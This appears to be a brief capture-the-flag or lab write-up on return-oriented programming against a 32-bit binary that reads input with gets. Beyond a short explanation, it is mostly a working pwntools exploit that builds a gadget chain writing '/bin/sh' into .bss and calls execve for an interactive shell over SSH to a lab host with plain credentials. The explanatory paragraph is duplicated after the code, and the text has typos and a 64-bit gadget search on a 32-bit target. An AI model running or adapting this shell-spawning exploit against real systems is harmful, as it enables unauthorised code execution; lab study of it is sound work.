Baby ROP
Return-oriented programming (ROP) is an exploit which re-uses the text segment so that we can bypass NX && ASLR !!!
Here you have to use a GADGET which is an instruction ending with ret so that it ensures we doesn’t loose control over eip
You can find the gadget using
rp++ -f bin1 -r1 | grep "pop rsi"
This binary takes input via gets so overwrite eip and use tha gadget so that we can make a syscall of excecve(’/bin/sh’)
NOTE: eax should cantain no-11 ,ebx - pointer to ‘/bin/sh’ ecx – 0 (occasionally double pointer to ‘/bin/sh’) && edx=0
from pwn import *
context.bits=32
adress1=0x0806c1c3
adress2=0x080525ee
adress4=0x080525c6
address5=0x08048105
syscall=0x08052cf0
adress9=0x08079191
bssadress=0x80ca63c
payload= "A"*44
payload+=pack(adress1)+pack(0)
payload+=pack(address5)
payload+=pack(adress4)+pack(bssadress)
payload+=pack(adress1)+"/bin"
payload+=pack(adress9)
payload+=pack(adress4)+pack(bssadress+4)
payload+=pack(adress1)+"/sh\x00"
payload+=pack(adress9)
payload+=pack(adress1)+pack(11)
payload+=pack(adress2)+pack(bssadress)
payload+=pack(adress4)+pack(0)+pack(syscall)+pack(adress1)+pack(1)+pack(syscall)
s=ssh(host='192.168.56.101',user='level0',password='warmup')
p=s.process('level0')
print p.recvuntil("?")
p.sendline(payload)
print p.recvline()
p.interactive()
Baby ROP
Return-oriented programming (ROP) is an exploit which re-uses the text segment so that we can bypass NX && ASLR !!!
Here you have to use a GADGET which is an instruction ending with ret so that it ensures we doesn’t loose control over eip
You can find the gadget using
rp++ -f bin1 -r1 | grep "pop rsi"
This binary takes input via gets so overwrite eip and use tha gadget so that we can make a syscall of excecve(’/bin/sh’)
NOTE: eax should cantain no-11 ,ebx - pointer to ‘/bin/sh’ ecx – 0 (occasionally double pointer to ‘/bin/sh’) && edx=0